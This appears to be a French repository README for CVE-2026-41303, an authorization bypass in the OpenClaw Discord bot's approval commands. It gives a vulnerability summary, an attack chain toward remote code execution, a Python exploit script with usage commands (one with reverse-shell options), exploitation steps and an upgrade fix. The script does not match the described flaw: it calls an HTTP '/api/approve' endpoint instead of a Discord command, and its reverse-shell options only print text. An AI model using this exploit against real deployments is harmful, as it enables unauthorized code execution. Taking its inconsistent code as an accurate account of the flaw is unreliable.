
Documentation technique et preuve de concept pour CVE-2026-41303, un contournement d'autorisation dans le bot Discord OpenClaw, incluant la méthodologie d'exploitation, les étapes d'atténuation et les recommandations défensives.
Documentation technique complète sur la vulnérabilité de contournement d'autorisation dans OpenClaw
Ce dépôt contient des informations techniques, des analyses et des recommandations concernant la vulnérabilité CVE-2026-41303, qui permet le contournement d'autorisation dans les commandes d'approbation d'exécution du projet OpenClaw.
Une faille critique a été identifiée dans les versions d'OpenClaw antérieures à la 2026.3.28. Le problème réside dans les commandes d'approbation de texte de Discord, où des utilisateurs qui n'appartiennent pas à la liste des approbateurs autorisés (channels.discord.execApprovals.approvers) peuvent approuver des demandes d'exécution d'hôte en attente.
| Paramètre | Valeur |
|---|---|
| ID CVE | CVE-2026-41303 |
| Produit affecté | OpenClaw |
| Type de vulnérabilité | Contournement d'autorisation (CWE-863) |
| Vecteur d'attaque | Commandes texte dans Discord |
| Plateforme | Linux / Discord |
| Score CVSS | 8.8 (Élevé) |
| Versions affectées | < 2026.3.28 |
| État | Corrigée dans v2026.3.28+ |
La vulnérabilité réside dans le manque de validation d'autorisation dans le gestionnaire de commandes /approve du bot OpenClaw. Le système ne vérifie pas correctement si l'utilisateur qui exécute la commande appartient à la liste des approbateurs autorisés avant de traiter la demande.
Un attaquant ayant accès au canal Discord où les approbations sont gérées peut :
Utilisateur non autorisé
↓
Accès au canal Discord
↓
Identifie l'ID d'approbation en attente
↓
Exécute la commande /approve
↓
Le bot approuve sans valider les permissions
↓
Exécution de code à distance (RCE)
channel-id)approval-id)requests, json, argparseimport argparse
import requests
import json
import time
def main():
# Configuration d'arguments professionnels pour l'audit
parser = argparse.ArgumentParser(
description="CVE-2026-41303 - Bypass d'approbation dans OpenClaw",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="""
Exemples d'utilisation :
python3 exploit.py http://target.com --token TOKEN --channel-id 123456 --approval-id ABC789
python3 exploit.py http://target.com --token TOKEN --channel-id 123456 --approval-id ABC789 --decision allow-always
"""
)
parser.add_argument("target", help="URL de l'instance ou du contexte du bot")
parser.add_argument("--token", required=True, help="Jeton Discord de l'attaquant/auditeur")
parser.add_argument("--channel-id", required=True, help="ID du canal Discord")
parser.add_argument("--approval-id", required=True, help="ID de l'approbation à contourner")
parser.add_argument("--decision", default="allow-once",
choices=["allow-once", "allow-always"],
help="Type de décision d'approbation (défaut : allow-once)")
# Paramètres supplémentaires pour la post-exploitation
parser.add_argument("--lhost", help="IP pour reverse shell si l'approbation active un RCE")
parser.add_argument("--lport", help="Port d'écoute")
parser.add_argument("--verbose", "-v", action="store_true", help="Mode verbeux")
args = parser.parse_args()
# Logique d'exploitation
print(f"[*] Démarrage du bypass pour l'approbation : {args.approval_id}")
print(f"[*] Canal cible : {args.channel_id}")
print(f"[*] Décision : {args.decision}")
if args.verbose:
print(f"[DEBUG] Jeton : {args.token[:20]}...")
print(f"[DEBUG] Cible : {args.target}")
# Construction de la requête malformée
headers = {
"Authorization": f"Bearer {args.token}",
"Content-Type": "application/json"
}
payload = {
"approval_id": args.approval_id,
"decision": args.decision,
"channel_id": args.channel_id
}
try:
# Envoi de la commande /approve sans validation des permissions
response = requests.post(
f"{args.target}/api/approve",
headers=headers,
json=payload,
timeout=10
)
if response.status_code == 200:
print(f"[+] Bypass réussi ! Approbation exécutée.")
print(f"[+] Réponse : {response.json()}")
if args.lhost and args.lport:
print(f"[*] Reverse shell configuré sur {args.lhost}:{args.lport}")
else:
print(f"[-] Erreur : {response.status_code} - {response.text}")
except Exception as e:
print(f"[-] Exception : {str(e)}")
if __name__ == "__main__":
main()
# Utilisation de base
python3 exploit.py http://target.com --token YOUR_TOKEN --channel-id 123456789 --approval-id ABC123
# Mode verbeux
python3 exploit.py http://target.com --token YOUR_TOKEN --channel-id 123456789 --approval-id ABC123 -v
# Avec reverse shell
python3 exploit.py http://target.com --token YOUR_TOKEN --channel-id 123456789 --approval-id ABC123 --lhost 192.168.1.100 --lport 4444
1. Obtenir l'accès au canal Discord où interagit OpenClaw
2. Surveiller les messages du bot pour identifier les IDs d'approbation en attente
3. Capturer le format exact des demandes d'approbation
4. Documenter la structure des commandes /approve
1. Exécuter le script PoC avec les IDs capturés
2. Envoyer la décision (allow-once ou allow-always) avec les paramètres
3. Le bot traite la commande sans valider les permissions de l'utilisateur
4. L'approbation s'exécute avec succès
Si l'approbation de texte dans Discord active des fonctions automatiques sur le serveur :
↓
Déploiements de code
↓
Exécution de code à distance (RCE)
↓
Compromission totale du système
1. Mettre à jour OpenClaw
# Mise à jour vers la version 2026.3.28 ou supérieure
pip install --upgrade openclaw>=2026.3.28
# Ou depuis le dépôt officiel
git clone https://github.com/openclaw/openclaw.git
cd openclaw
git checkout v2026.3.28
pip install -e .